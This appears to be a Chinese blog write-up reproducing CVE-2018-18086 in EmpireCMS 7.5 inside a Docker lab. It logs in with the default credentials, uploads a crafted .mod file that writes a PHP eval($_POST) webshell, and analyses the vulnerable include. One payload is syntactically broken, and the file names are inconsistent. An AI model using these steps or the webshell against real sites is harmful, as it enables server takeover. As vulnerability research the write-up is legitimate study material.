帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现


一、简述👋

  • 漏洞描述
    EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS),EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行,EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数存在安全漏洞,攻击者可利用该漏洞上传任意文件,该漏洞编号为CVE-2018-18086

  • 影响版本
    EmpireCMS<=7.5

  • 官方下载EmpireCMS V7.5
    下载地址:http://www.phome.net/download/

二、安装环境👋

  • docker拉取镜像empirecms-cve_2018_18086

在这里插入图片描述

  • 创建容器

在这里插入图片描述

  • 如果对docker安装不熟悉,可以参考文章:Centos使用Docker搭建Lamp环境,一步到位

  • 这样打开网站IP后,发现直接就是根目录,我们需要把/var/www/html/empirecms目录里的文件复制到/var/www/html/去,避免暴露根目录

三、漏洞复现👋

1、直接在empirecms/e/admin下打开管理后台

在这里插入图片描述

2、在爆破或账号密码进入后台后(默认账号密码为admin/123456)

在这里插入图片描述

3、依次点开系统,打开管理数据表,选择导入系统模型

新建shell.php.mod文件并上传,文件内容如下:

file_put_contents("1shell.php",<?php phpinfo();?>);

在这里插入图片描述

4、在导入文件后

生成的1shell.php文件在/admin目录下,即可访问empirecms/e/admin/shell.php

在这里插入图片描述
5、同时,如果为了连接蚁剑等,注意$符号需要转义

<?php  
	file_put_contents("getshell.php","<?php @eval(\$_POST[123]);?>");
?>

四、原理分析👋

1、下载安装文件分析,在/e/admin/ecmsmod.php文件下的导入模型

在这里插入图片描述

2、而进入到LoadlnMod函数,来到/e/class/moddofun.php

在这里插入图片描述

  • 标注第一点,判断上传文件类型,文件后缀只能是.mod
  • 标注第二点,上传文件处使用time().make_password(10)进行文件名加密,同时拼接.php作为文件名
  • 标注第三点,用include进行一次包含,执行上传的PHP代码,即可以通过创建文件的代码绕过

3、因为一开始的导入模型文件是在/e/admin目录下,所以创建的shell.php/admin目录下

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值